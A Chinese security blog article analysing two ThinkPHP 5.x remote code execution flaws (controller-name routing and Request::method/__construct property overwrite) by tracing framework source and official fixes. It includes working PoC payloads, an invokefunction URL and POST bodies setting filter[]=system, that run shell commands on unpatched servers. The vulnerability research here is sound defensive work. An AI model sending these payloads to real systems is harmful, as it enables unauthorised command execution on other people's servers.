freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ThinkPHP 5.x 的 RCE 漏洞代码分析
2021-09-25 16:04:41

简介

ThinkPHP 5.x 主要分为 5.0.x 和 5.1.x 两个系列,这两个系列略有不同,在复现漏洞时也有一定的区别

在 ThinkPHP 5.x 中造成rce有两种原因:
1.路由对控制器名控制不严谨导致的RCE;
2.Request类对调用方法控制不严加上变量覆盖导致RCE

先记录下这两个的主要POC

  • 控制器名未过滤导致rce

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 核心类 Request 远程代码漏洞

filter[]为回调函数,get[]route[]server[REQUEST_METHOD]为回调函数的参数。执行回调函数的函数为call_user_func()

核心版需要开启debug模式

POST /index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_method=__construct&method=get&filter[]=system&get[]=pwd

控制器名未过滤导致RCE

简介

2018年12月9日,ThinkPHP v5系列发布安全更新v5.0.23,修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后,才出现的漏洞利用方式,不过不排除很早之前已经有人使用了0day

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

最终确定漏洞影响版本为:

  • ThinkPHP 5.0.5-5.0.22

  • ThinkPHP 5.1.0-5.1.30

理解该漏洞的关键在于理解ThinkPHP5的路由处理方式。ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况,在未配置路由的情况,ThinkPHP5将通过以下格式解析URL

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

同时在兼容模式下ThinkPHP还支持以下格式解析URL:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]		(参数以PATH_INFO传入)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...]	(参数以传统方式传入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就产生在未匹配到路由情况下,使用兼容模式解析url时,通过构造特殊URL,调用意外的控制器中敏感函数,从而执行敏感操作

下面通过代码具体分析一下ThinkPHP的路由解析流程

路由处理逻辑详细分析

分析版本:5.0.22

跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:

thinkphp/library/think/App.php

116行,通过 routeCheck()方法开始url路由检测

routeCheck()中,首先提取$path信息,这里获取$path的方式分为pathinfo模式和兼容模式,pathinfo模式就是通过$_SERVER['PATH_INFO']获取到主要的path信息,==$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉命名空间格式==,==兼容模式下 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];,path的信息会通过get的方式获取,var_pathinfo的值默认为's',从而绕过了反斜杠的替换==,这里也是该漏洞的一个关键利用点

检测逻辑:如果开启了路由检测模式(配置文件中url_route_on为true),则进入路由检测,结果返回给$result,如果路由无效且设置了只允许路由检测模式(配置文件中url_route_must为true),则抛出异常。

在兼容模式下,检测到路由无效后(false === $result),则还会进入 Route::parseUrl()检测路由。我们重点关注这个路由解析方式,因为该方式我们通过URL可控

返回最终的路由检测结果 $result($dispatch),交给 exec()执行

$dispatch = self::routeCheck($request, $config);									//line:116

$data = self::exec($dispatch, $config);														//line:139

public static function routeCheck($request, array $config)				//line:624-658
	{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            ……
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

thinkphp/library/think/Route.php

跟踪 Route::parseUrl(),在注释中可以看到大概的解析方式

$url主要通过parseUrlPath()解析,跟踪该函数发现程序通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将它们封装为$route,最终返回['type' => 'module', 'module' => $route]数组,作为App.php中$dispatch的值,并传入exec()函数中

注意的是这里使用 斜杠/来划分各个部分,我们的控制器可以通过命名空间来调用,命名空间使用反斜杠\来划分,正好错过,这也是其中一个能利用的细节

/**
     * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自动深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)		//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo参数和变量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块,依次得到$module, $controller, $action
          	……
          	// 封装路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)				//line:1284-1302
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析结果将作为exec()的参数被执行,追踪该函数


thinkphp/library/think/App.php

追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]

因为 type 为 module,直接进入对应流程,然后执行 module方法,其中传入的参数$dispatch['module']为模块\控制器\操作组成的数组

跟踪module()方法,主要通过 $dispatch['module']获取模块$module, 控制器$controller, 操作$action,可以看到==提取过程中除了做小写转换,没有做其他过滤操作==

$controller将通过 Loader::controller自动加载,这是ThinkPHP的自动加载机制,只用知道此步会加载我们需要的控制器代码,如果控制器不存在会抛出异常,加载成功会返回$instance,这应该就是控制器类的实例化对象,里面保存的有控制器的文件路径,命名空间等信息

通过 is_callable([$instance, $action])方法判断$action是否是$instance中可调用的方法

通过判断后,会记录$instacne,$action到$call中($call = [$instance, $action]),方便后续调用,并更新当前$request对象的action

最后$call将被传入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)	//line:445-483
    {
        switch ($dispatch['type']) {
						……
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

public static function module($result, $config, $convert = null)		//line:494-608
    {
        ……

        if ($config['app_multi_module']) {
            // 多模块部署
          	// 获取模块名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
						……
        }
				……

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      	……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];

        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        Hook::listen('action_begin', $call);

        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修复情况,找到对应的commit,对传入的控制器名做了限制

图片.png


thinkphp/library/think/App.php

跟踪 invokeMethod,其中 $method = $call = [$instance, $action]

通过实例化反射对象控制$instace的$action方法,即控制器类中操作方法

中间还有一个绑定参数的操作

最后利用反射执行对应的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由检测,

弱点利用

如上我们知道,url 路由检测过程并没有对输入有过滤,我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法,而这些参数通过url可控,我们便有可能操控程序中的所有控制器的代码,接下来的任务便是寻找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])			//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

该函数通过 ReflectionFunction()反射调用程序中的函数,这就是一个很好利用的点,我们通过该函数可以调用系统中的各种敏感函数。

找到利用点了,现在就需要来构造poc,首先触发点在 thinkphp/library/think/App.php中的 invokeFunction,我们需要构造url格式为 模块\控制器\操作

模块我们用默认模块index即可,首先大多数网站都有这个模块,而且每个模块都会加载app.php文件,无须担心模块的选择

该文件的命名空间为 think,类名为 app,我们的控制器便可以构造成 \think\app。因为ThinkPHP使用的自动加载机制会识别命名空间,这么构造是没有问题的。

操作直接为invokeFunction,没有疑问

参数方面,我们首先要触发第一个调用函数,简化一下代码再分析一下:

第一行确定 $class 就是我们传入的控制器 \think\app实例化后的对象

第二行绑定我们的方法,也就是invokefunction

第三方就可以调用这个方法了,其中$args是我们的参数,通过url构造,将会传入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就进入我们的invokefunctio,该函数需要什么参数,我们就构造什么参数,首先构造一个调用函数function=call_user_func_array

call_user_func_array需要两个参数,第一个参数为函数名,第二个参数为数组,var[0]=system,var[1][0]=id

这里因为两次反射一次回调调用需要好好捋一捋。。。。

核心类 Request 远程代码漏洞

简介

2019年1月11日,官方更新了v5.0.24,这时5.0系列最后一个版本,改进了 Request 类的 method 方法。没看到是哪个团队挖到的该漏洞。

影响版本:

  • ThinkPHP v5.0.x - 5.0.23

核心问题

thinkphp/library/think/Request.php:518

  • method方法中,默认$method=false和config配置文件的伪装变量 'var_method'='_methd'会跳到第二个if代码块

  • $_POST['_method']将被赋值给 this->method,中间并没有做过滤

  • 然后是一个动态调用的结构,$_POST的值直接被传入到动态函数$_this->{$_POST['_method']}()

通过对method()方法的代码分析,我们可以==控制Request类中的方法,传入函数的参数也可控==

现在则需要找到 method()方法的调用链

图片.png

先来看官方的修复,对 $_POST['_method']做了白名单限制,使其只能调用允许的方法

图片.png

光有上面的问题代码还是不够的,在本次漏洞中还有一个关键函数 __construct(),通过 method()方调用 __construct()可以覆盖类中的属性值

__construct() line:135

该函数通过 property_exists()判断传入的参数是否为该类中存在的属性,如果是,则赋值

通过该功能,我们能覆盖程序中本来的值

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

于是通过post传参控制 method方法调用__construct()方法可以改变类中属性的值

调用链

filterValue()

既然可以通过 method()方法能调用Request类中任意方法,那我们先找下Request类中存在的敏感函数。便找到一个call_user_func(),在filterValue()方法中:

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
          ……

这里主要关注第一个和第三个参数: $value, $fileters

$fileter为一个回调函数时,将通过 call_user_func()调用

在寻找一下 filterValue()的调用情况,在 input()方法中


input() line:994

在满足条件的情况下 input()会调用 filterValue()

我们关注传入input()再传入filterValue()的参数$data, $filter

参数$filter在其中会经过 getFilter()处理

看代码的逻辑处理,无论 $data是否为数组都会调用filterValue()方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
				……
				// 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
				……
        return $data;
    }

其中 getFileter()的处理如下

getFilter() line:1053

默认传入的 $filter空'',将会跳到else语句块,==此时 $filter将会为$this->filter,即为类属性的值,我们便可以通过 __construct()来控制$this->filter的值==

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;
        return $filter;
    }

param() line:634

input()将被 param()调用,后面发现其实是param()中的get()toute()传参调用

  • $mergeParam默认为false,那么 empty($this->mergeParam)将会为true,将会进入第一个 if 代码块

  • 我们关注传入 input()的参数是 $this->param, $filter

  • $filter默认为空'',没有经过特殊处理,$this->param将由以下数据一起合并成数组:

    • 原来的 $this->param

    • $this->get(false)

    • $vars将会为空数组,不考虑

    • this->route(false)

protected $mergeParam = false;		//line:128

public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        ……
        return $this->input($this->param, $name, $default, $filter);
    }

get() line:689

get()将会调用 input()方法

关注传入input()方法的参数$filter$this->get

其中$filter空'',无变化

==$this->get如上提到的,我们也可以通过 __contruct控制==

public function get($name = '', $default = null, $filter = '')
    {
        if (empty($this->get)) {
            $this->get = $_GET;
        }
        if (is_array($name)) {
            $this->param      = [];
            return $this->get = array_merge($this->get, $name);
        }
        return $this->input($this->get, $name, $default, $filter);
    }

route()

==传入input()的值主要由$_this->route决定,我们也可以通过 __contruct控制==

public function route($name = '', $default = null, $filter = '')
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }
        return $this->input($this->route, $name, $default, $filter);
    }

至此,调用链构造完成,这里画图理一下逻辑
图片.png

调用链利用

通过上面的分析,我们知道在 method()通过post可以传入函数名和函数参数,通过如下构造可以控制call_user_func()的关键参数

_method=__construct&filter[]=system&get[]=whoami
_method=__construct&filter[]=system&route[]=whoami

我们现在需要知道 tp 是如何调用 param() 和 method() 是如何被调用的。具体过程见参考了,累了累了。

这里分析一下各版本的区别

在漏洞版本范围内,主要分为完整版和核心版

核心版在debug模式下会调用param() 和 method() ,在非debug模式下无法利用,poc如下:

POST:
_method=__construct&filter[]=system&get[]=whoami
or 
_method=__construct&filter[]=system&route[]=whoami

完整版因为vendor目录下具有Captcha模块,通过自动加载Captcha模块可以直接调用param() 和 method(),所以完整版可以直接利用poc

POST /index.php?s=captcha

_method=__construct&method=get&filter[]=system&get[]=ipconfig

参考:https://0verwatch.top/thinkphp-5-rce.html

seebug质量好文,总结了ThinkPHP全版本高危漏洞:https://paper.seebug.org/1377/

5.0.22分析 https://paper.seebug.org/770/

安全客的入门级讲解:https://www.anquanke.com/post/id/177173

5.0.23:https://www.anquanke.com/post/id/222672

ThinkPHP5 核心类 Request 远程代码漏洞分析:https://paper.seebug.org/787

# web安全 # 代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录